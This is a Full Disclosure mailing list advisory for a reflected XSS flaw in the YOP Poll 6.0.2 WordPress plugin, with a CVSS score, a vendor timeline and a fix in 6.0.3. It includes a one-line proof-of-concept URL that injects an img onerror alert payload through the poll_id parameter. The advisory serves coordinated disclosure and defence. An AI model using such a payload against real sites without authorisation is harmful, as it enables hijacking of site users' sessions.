full-disclosure - [FD] YOP Poll 6.0.2

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Message-ID: <3abd5c43-1a5e-e44c-9216-c3752c271f51@gmail.com>
Date: Tue, 5 Feb 2019 16:31:24 +0100
From: Tim Coen <tc.coen@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] YOP Poll 6.0.2 - Reflected XSS (WordPress Plugin)

  * Vulnerability: XSS
  * Affected Software: [YOP Poll](https://wordpress.org/plugins/yop-poll/)
  * Affected Version: 6.0.2
  * Patched Version: 6.0.3
  * CVE: not requested
  * Risk: Medium
  * Vendor Contacted: 10/25/2018
  * Vendor Fix: 11/26/2018
  * Public Disclosure: 02/05/2019
  * Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The YOP poll WordPress plugin is vulnerable to reflected XSS as it
echoes the poll_id parameter without proper encoding.

##### Proof of Concept

http://192.168.0.103/wordpress/wp-admin/admin.php?page=yop-polls&action=view-votes&poll_id=1'"><img+src%3Dx+onerror%3Dalert(1)>

##### Timeline

- 10/25/2018 Requested email address via contact form
- 10/25/2018 Vendor responds, advisory sent
- 11/26/2018 Vendor releases fix
- 02/05/2019 Confirmed fix & Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-yop-poll-xss/

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89

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